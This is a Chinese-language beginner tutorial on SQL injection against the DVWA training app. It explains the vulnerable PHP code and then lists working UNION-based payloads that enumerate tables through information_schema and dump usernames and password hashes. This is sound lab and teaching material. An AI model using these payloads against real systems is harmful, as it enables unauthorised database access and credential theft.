sql注入初级

Posted 滨院网安

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入初级相关的知识,希望对你有一定的参考价值。

理论:

SQL Injection:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

什么时候可能发生SQL Injection

假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。

实践:

打开DVWA,改到low级别

先分析一下源代码,点击View Source获取源代码

sql注入初级

1当在User ID中输入1时,代码如下,php代码分析

sql注入初级

先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,之后再数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。

2函数分析

(1)Isset()函数:

isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("")并不等同于 PHP 的 NULL 常量。

语法

bool isset ( mixed $var [, mixed $... ] )

参数说明:

$var:要检测的变量。

如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。

返回值

如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。

sql注入初级


(2)mysqli_query()函数

定义和用法

mysqli_query() 函数执行某个针对数据库的查询。

语法

mysqli_query(connection,query,resultmode);

sql注入初级

sql注入初级

(3)die()函数

定义和用法

die() 函数输出一条消息,并退出当前脚本。

该函数是 exit() 函数的别名。

语法

die(message)

sql注入初级

(4)GLOBALS全局变量

     GLOBALS — 引用全局作用域中可用的全部变量

 (5)mysqli()函数

     详情请看https://www.runoob.com/php/php-ref-mysqli.html


3进行实际操作

判断sql语句查询列数

输入1' order by 1#   显示存在

sql注入初级

输入1' order by 2#    显示存在
sql注入初级


输入1' order by 3#    出错
sql注入初级

所以说有两列

1 union select 1,2#用来查询数据的位置

sql注入初级

获取数据库名

1' union select database(),2#
sql注入初级sql注入初级

获取表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
sql注入初级sql注入初级

获取表的列名

1' union select group_concat(column_name),2 from information_schema.columns     where table_name='users'#

获取数据

1' union select group_concat(user),group_concat(password) from users#


本文介绍的是初级SQL注入,将持续更新SQL注入中级,高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!



以上是关于sql注入初级的主要内容,如果未能解决你的问题,请参考以下文章

hw蓝队初级面试总结

sql注入初级

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

2022年蓝队初级护网面试题总结

sql注入高级

[AndroidStudio]_[初级]_[配置自动完成的代码片段]